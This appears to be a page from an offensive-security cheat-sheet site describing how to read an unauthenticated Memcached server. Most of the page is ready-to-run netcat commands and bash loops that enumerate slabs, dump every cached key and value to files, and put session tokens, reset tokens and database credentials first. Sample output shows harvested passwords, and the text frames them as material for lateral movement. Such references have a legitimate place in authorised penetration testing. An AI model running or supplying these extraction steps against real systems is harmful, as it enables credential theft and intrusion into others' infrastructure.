Skip to content
HackIndex logo

HackIndex

Memcached Unauthenticated Cache Read

3 min read Mar 17, 2026

When a Memcached instance accepts connections without authentication, the entire cache is readable by any client. This page covers extracting keys and values using the text protocol, covering all available enumeration paths to maximise coverage before moving to targeted extraction of high-value data.

Confirm unauthenticated access is accepted before proceeding.

Dump Keys via stats cachedump

stats cachedump retrieves key names from a specific slab. First identify which slabs contain data:

┌──(kali㉿kali)-[~]
└─$ echo -e "stats slabs\r" | nc -q2 $TARGET_IP 11211

For each slab with a non-zero used_chunks value, dump keys:

┌──(kali㉿kali)-[~]
└─$ echo -e "stats cachedump 2 0\r" | nc -q2 $TARGET_IP 11211

The second argument is the slab number. The third argument is the key limit — 0 returns all keys in that slab. Repeat for each active slab.

ITEM sess:user:9182 [512 b; 1711601233 s]
ITEM db:config:primary [128 b; 1711601101 s]
ITEM auth:reset:token:4429a [64 b; 1711601198 s]

Key names reveal data types immediately. Collect all key names across slabs before retrieving values.

Dump Keys via lru_crawler metadump

lru_crawler metadump is a more complete alternative that dumps all keys across all slabs without requiring per-slab iteration. It is available on Memcached 1.4.31 and later:

┌──(kali㉿kali)-[~]
└─$ echo -e "lru_crawler metadump all\r" | nc -q2 $TARGET_IP 11211
key=sess:user:9182 exp=1711604833 la=1711601233 cas=88291 fetch=yes cls=2 size=528
key=db:config:primary exp=-1 la=1711601101 cas=71042 fetch=no cls=1 size=144
key=auth:reset:token:4429a exp=1711601498 la=1711601198 cas=71819 fetch=no cls=1 size=80

exp=-1 means the key never expires. Keys with fetch=no have not been read since they were written, which suggests they may be configuration or credential data cached on startup rather than active session data.

Retrieve Values in Bulk

Once you have a list of key names, retrieve their values. To pull multiple keys in a single request:

┌──(kali㉿kali)-[~]
└─$ echo -e "get sess:user:9182 db:config:primary auth:reset:token:4429a\r" | nc -q2 $TARGET_IP 11211
VALUE sess:user:9182 0 512
a:5:{s:2:"id";i:9182;s:4:"role";s:5:"admin";s:5:"email";s:22:"[email protected]";s:5:"token";s:40:"f9a21c4d8e3b07562a1c9f4d8e3b07562a1c9f4d";}
END
VALUE db:config:primary 0 128
{"host":"db-internal.target.local","user":"appuser","password":"Str0ngDBPass!","db":"appdb"}
END

JSON and PHP serialized payloads are the most common formats. Database credential objects like the second value above can feed directly into lateral movement.

Script Key Retrieval Across All Slabs

To automate full key extraction across all slabs without knowing slab numbers in advance:

┌──(kali㉿kali)-[~]
└─$ for slab in $(echo -e "stats slabs\r" | nc -q2 $TARGET_IP 11211 | grep -oP '^\d+(?=:chunk_size)' | sort -un); do echo -e "stats cachedump $slab 0\r" | nc -q2 $TARGET_IP 11211; done

Pipe the output to a file and extract key names:

┌──(kali㉿kali)-[~]
└─$ for slab in $(echo -e "stats slabs\r" | nc -q2 $TARGET_IP 11211 | grep -oP '^\d+(?=:chunk_size)' | sort -un); do echo -e "stats cachedump $slab 0\r" | nc -q2 $TARGET_IP 11211; done | grep ^ITEM | awk '{print $2}' > /tmp/memcached-keys.txt

Then retrieve all values in one pass:

┌──(kali㉿kali)-[~]
└─$ while read key; do echo -e "get $key\r" | nc -q2 $TARGET_IP 11211; done < /tmp/memcached-keys.txt > /tmp/memcached-values.txt

Prioritise What to Read

Not all keys are equally valuable. After collecting the key list, prioritise by name pattern before bulk-retrieving values. Keys matching sess, auth, token, config, db, pass, secret, or key should be retrieved first. Keys matching telemetry, counters, or rate limit patterns are low value.

References